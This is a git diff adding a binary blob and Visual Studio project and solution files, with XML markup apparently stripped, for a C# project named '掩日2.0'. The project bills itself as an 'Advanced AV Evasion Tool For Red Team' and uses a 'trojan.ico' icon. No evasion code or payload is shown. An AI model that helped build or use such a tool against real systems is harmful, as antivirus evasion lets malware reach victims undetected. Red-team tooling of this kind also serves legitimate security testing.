zlJ-CN*Y96s;FRlmTfDjJI{2?x7EZSh3+qqBa<(UQn15rPkNKwAJf3OKJLLB?!50Yh zsF7Dm+^zh}+yAh?x4xU_l|3GnWQ%351v2OWFOKsMzYgg;GuK?2uUr+1JbKA}{D(-_ zd>FnB{NMZ*exE0OK5I4u_D267^hY?xKl|-=`{mHv0l-c?w^nC97flyF(% z?&QDW%v|s;(YGGPKe%N7-0u0QXxF}r`*~ioRF|DO=J`wA@>|nx<^NQi`M38l{sk`4 zXCqS)#VGFOy#=xXmvkS`bD14rKSJ?E9zN+#{%@a*!M8}--93+g=92w!n_S?Y*T5OK z;ml>;xj5G$cGo-Z6bX0oUtciQeC~J8_3=FeX#<<7cJ%#L%j~!0}|8>VBFb1=t z>w9}9|J;t_ImK4}09@z3{O^ITZ*}dM)3RxEY{{fE*WIW8m=m6_!}yD2-7oXMZEjEU z|3yCQ!AAt3Xp=Fv^CIMf?Sy#0OCi!ai?jwg!=J0qIL!ZE8}t9AeSqM<24j5P(*DC3 zQ{6%IM>^L2lk#{HoCE_FdWmzx&}QSg>(cwXj(P0KZ2XDGqEyGDxD7GFRW6-*-Vy#w z76#Gv-D>=!58%v#u5v)x*B?s3m<;;qiOTvP z-uERIJ|Mg$j_=pz(Y^9brgG_e&Xg~1OW4)+RO8dpYncBv2{k&w zN~6>FL#GD-M_9LQ0{mC3d7oc&kg+5=SOtH<+rQdJ#c^lH@2C&< z$b18{ytRSc7vR z$}ggXc|bfD$Sr_vsr+IpUEe&5>VL)@B-iHws@aPw_n!+II`QE4 zDK-8%P4+8wc!$@ri0Ud&QC0qOYE++} z#BGmPoi^$YK8Uqoybff)UHroalrJAmH9xD^fc$W*1I<#?p(o=S_BU*;_!o7yx0vy4 zEmDKu9RG5~Qp(0}ja@j9D%&H;LO!`4+G}G%;C>unpAAS1q$>OdfOQ)n?gL=)O-}~z zqHO{HZP)kPrTdQ`Kc;P)Hq)5@8bR;B^*2h64x!SY(y>pPq0OjZxAZv2)b!b9|vLDFpz*)BByXVUS`2YRZVQcDccAojqUACM?4;xNn z|NC$B!SHt|e)2df`VsRKMR~Favv=W|H*G*)vTYr4du|xl%kiho@{#gb_4;w+bNt3PG z0Q3uUzo1utPaNEGd*EGQGf)ZeoCa~9pX zr?B4_uM6)3eghD`0t5o%0rn3@U|%?1FW48?`+$E9_IwziKc?MiSr4Ec!23ZIt$cE2 zK4LR7Cw00z$wc>Th(5=Uwahx;3VCz zIRf5y39`{r@`Z_e<{I_7Q0KGn&uin<_{Vi)zp(fEgPfI`y8Q3~`uy;rkbw-~g8o=Y zYh6C}gc9ZiJlQrt;E;JPU5`HgFEJLh9$?=2yVW^X%XDktPEiP&%XM6?Q^gN z!{8T80oLNT01l!I&f#0iFm_Uju*yYn|0~+Z*}V6gs{VNQI(TM%7U4SYhHonp))x$Q zmXq#yuD)POU-$*jKo(xUeP-_Kr~`(kr^XRUZr-yxy-y2OUU#bnp?@hk|Supd(y}_d|z5{%-Og#^Kz-#Pz{L~$5GJHyg zZf@s!lws}QyaqT4YyqMGueS|-Q3g0q;GNgt4+d60Q8Ivel()W{5B@Q~#kAf{%fCHd z24uk&4DnS?x+7oU{uS7QCr1V_kJ6HV!+L7e1@(}D^^k$*x}&Up^_`Fb-fM-|b1KZ! z>|y=^&!gY2wvJlMzgr*Tt6X$fzQFx3ARp-AK4CW9_}6Ti{kPap0luNmG)J|&%G{UU zi*|S)^q-BzesiTlo4kj%3wST1>WwpO@!tUc-}I&O_l3MvteiXud(9neJlS*irEmIm z6%=-^2>*)w^8|?BpLl&LOmK{bN5ekw@L%51j9@&AZV) zh;=O52Nj=BGOQ)W8ddHu=$1Ys`}l`{t9=Lj`{#kk_y_MAU_78+2gvIOqa3hbz_UXlcI38M)z>i? zo1011n~eDTOyL|~uCJe}h3DVy>5%0&j%G{|`i+yl}-zTy)&ZNk{FwbKpzJccf z`?IP4d=i;#)x%)0ay<9pe*#O7o`r4t1B)wB7t~-K6R%_A^($NM zUHak$H+-f)2^%E<&ieyHSq^}`zy*NEj$LmrSjq|88TLIm{Zilv+7p|ut&g6Ad7g{G zJI`5Pjj`W9+sL;6vYSf)T(BIVuGMnCVJ7O`9k2`eI0jGbE9hE)4va0^^cRfxFxTjR z)H2ss0G6x6z&0Qg=cge3w}9tM7JSqX`ab~NzXvYZbkMG9M@W0w$0{#;4mw>+n{3YNo0e=bj zOQ08&fa>Oy?z#8}PNw-KF|kLQ6ddOLQH(ch-o|07a2KCz*1UxOHBa#||5a=LgpCt5 z8bb_ETEvmmBaM(M-;=6Qj=yb8K)C)uBfQmcKVIDxuNFx+W*|?D8()xWiW?F%MU4q| z#a|L$*xm6|Qw9wAmB;f;*HeW2Hj8nQfNFs$ffV5eLp=2*A%g#^1?D8z<#A5vvE;fu z&dffNTvv)ekX}z=zFxvp!e2ELV-Ol+{B5=PgKBB-|HOW%cfa|&m;E4^xbmo%PdAj#xg z{GV*Z{|FV7rYDd8L3aHqqsofuYvl1c0mI%Hmu=d6MfK zua?AFl1=)8^BjL5ZO$X!RpPioh^Ka?AjGS?;wgMWlA;hdiAa}?6HmR(_w!$#Aq|0H zjvLby80NT`CLi-33QPD)5n^3pEygWgV7&irA-mPTWG9d6?U ZrSWRSr<)!Z7?ECPO1n~*+~?-Q{|D0^Wpe-k literal 0 HcmV?d00001 diff --git "a/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj" "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj" new file mode 100644 index 0000000..03605d4 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj" @@ -0,0 +1,126 @@ + + + + + Debug + AnyCPU + {7898617D-08D2-4297-ADFE-5EDD5C1B828B} + WinExe + 掩日2._0 + 掩日 2.0 - Advanced AV Evasion Tool For Red Team + v4.0 + 512 + true + false + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 2.0.0.%2a + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + trojan.ico + + + + + + + + + + + + + + + + Form + + + AboutBox1.cs + + + + + + Form + + + Form1.cs + + + + + + + + + + AboutBox1.cs + + + Form1.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + False + .NET Framework 3.5 SP1 + false + + + + + + + + + + \ No newline at end of file diff --git "a/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user" "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user" new file mode 100644 index 0000000..c91bf8f --- /dev/null +++ "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user" @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + zh-CN + false + + \ No newline at end of file diff --git "a/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln" "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln" new file mode 100644 index 0000000..52d546a --- /dev/null +++ "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln" @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29418.71 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "掩日2.0", "掩日2.0.csproj", "{7898617D-08D2-4297-ADFE-5EDD5C1B828B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {FC2825C0-84C1-4FA4-A846-B23326C7C8AF} + EndGlobalSection +EndGlobal